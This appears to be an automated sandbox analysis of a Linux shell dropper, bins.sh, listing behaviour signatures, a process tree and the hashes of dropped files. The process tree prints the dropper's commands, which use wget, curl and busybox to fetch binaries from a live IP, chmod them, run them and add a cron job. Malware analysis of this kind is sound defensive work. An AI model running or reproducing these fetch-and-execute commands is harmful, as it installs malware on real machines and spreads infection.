Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/11/2024, 04:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-ewc1hstcla
  • SHA256 81fada1d726ce932e116affa6ac75bf69dfe4995575f2dc8807795e2df98ed17
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2021) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://216.126.231.240/bins/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • Writes file to tmp directory
          PID:677
        • /bin/chmod
          chmod 777 h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • File and Directory Permissions Modification
          PID:678
        • /tmp/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          ./h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • Executes dropped EXE
          PID:679
        • /bin/rm
          rm h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
            PID:681
          • /usr/bin/wget
            wget http://216.126.231.240/bins/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • Writes file to tmp directory
            PID:682
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:691
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • Writes file to tmp directory
            PID:700
          • /bin/chmod
            chmod 777 TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • File and Directory Permissions Modification
            PID:703
          • /tmp/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            ./TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • Executes dropped EXE
            PID:705
          • /bin/rm
            rm TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
              PID:708
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • Writes file to tmp directory
              PID:709
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:722
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • Writes file to tmp directory
              PID:734
            • /bin/chmod
              chmod 777 ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • File and Directory Permissions Modification
              PID:737
            • /tmp/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              ./ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:738
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:740
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:741
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:742
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:743
                  • /bin/rm
                    rm ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
                    2⤵
                      PID:745
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                      2⤵
                        PID:748
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                        2⤵
                          PID:749
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                          2⤵
                          • Writes file to tmp directory
                          PID:780
                        • /bin/chmod
                          chmod 777 eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                          2⤵
                          • File and Directory Permissions Modification
                          PID:831
                        • /tmp/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                          ./eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                          2⤵
                          • Executes dropped EXE
                          PID:832
                        • /bin/rm
                          rm eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                          2⤵
                            PID:833
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                            2⤵
                              PID:835
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                              2⤵
                                PID:839
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                                2⤵
                                • Writes file to tmp directory
                                PID:842
                              • /bin/chmod
                                chmod 777 BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                                2⤵
                                • File and Directory Permissions Modification
                                PID:851
                              • /tmp/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                                ./BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                                2⤵
                                • Executes dropped EXE
                                PID:852
                              • /bin/rm
                                rm BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                                2⤵
                                  PID:853
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                                  2⤵
                                    PID:855
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                                    2⤵
                                    • Checks CPU configuration
                                    PID:857
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:860
                                  • /bin/chmod
                                    chmod 777 K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:885
                                  • /tmp/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                                    ./K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                                    2⤵
                                    • Executes dropped EXE
                                    PID:886
                                  • /bin/rm
                                    rm K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                                    2⤵
                                      PID:887
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                                      2⤵
                                        PID:888
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                                        2⤵
                                          PID:890
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:892
                                        • /bin/chmod
                                          chmod 777 DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:899
                                        • /tmp/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                                          ./DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                                          2⤵
                                          • Executes dropped EXE
                                          PID:900
                                        • /bin/rm
                                          rm DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                                          2⤵
                                            PID:903
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL
                                            2⤵
                                              PID:904

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk

                                                • Path /tmp/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                                                • Size 119KB
                                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                • MD5 SHA1 SHA512 SSDEEP

                                                DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb

                                                • Path /tmp/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                                                • Size 98KB
                                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                • MD5 SHA1 SHA512 SSDEEP

                                                K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt

                                                • Path /tmp/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                                                • Size 127KB
                                                • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                • MD5 SHA1 SHA512 SSDEEP

                                                TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy

                                                • Path /tmp/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
                                                • Size 111KB
                                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                • MD5 SHA1 SHA512 SSDEEP

                                                eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46

                                                • Path /tmp/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                                                • Size 141KB
                                                • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                • MD5 SHA1 SHA512 SSDEEP

                                                h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB

                                                • Path /tmp/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
                                                • Size 111KB
                                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                • MD5 SHA1 SHA512 SSDEEP

                                                ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o

                                                • Path /tmp/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
                                                • Size 177KB
                                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                • MD5 SHA1 SHA512 SSDEEP

                                                tmp.cxoypo

                                                • Path /var/spool/cron/crontabs/tmp.cxoypo
                                                • Size 210B
                                                • SHA256 2052a564f932e92c463a6f290247b729d6c6155f55cdcbf505a8501352cb0e09
                                                • MD5 SHA1 SHA512